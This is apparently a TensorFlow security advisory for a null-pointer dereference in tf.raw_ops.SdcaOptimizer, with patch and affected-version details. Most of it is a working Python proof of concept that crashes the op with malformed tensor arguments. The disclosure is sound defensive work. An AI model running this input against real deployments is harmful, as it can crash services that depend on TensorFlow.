Impact The implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer: ```python import tensorflow as tf sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_values = [] dense_features = [] dense_weights = [] example_weights = tf.constant((0.0), dtype=tf.float32) example_labels = tf.constant((0.0), dtype=tf.float32) sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)] example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32) tf.raw_ops.SdcaOptimizer( sparse_example_indices=sparse_example_indices, sparse_feature_indices=sparse_feature_indices, sparse_feature_values=sparse_feature_values, dense_features=dense_features, example_weights=example_weights, example_labels=example_labels, sparse_indices=sparse_indices, sparse_weights=sparse_weights, dense_weights=dense_weights, example_state_data=example_state_data, loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False) ``` The implementation does not validate that the user supplied arguments satisfy all constraints expected by the op. Patches We have patched the issue in GitHub commit f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
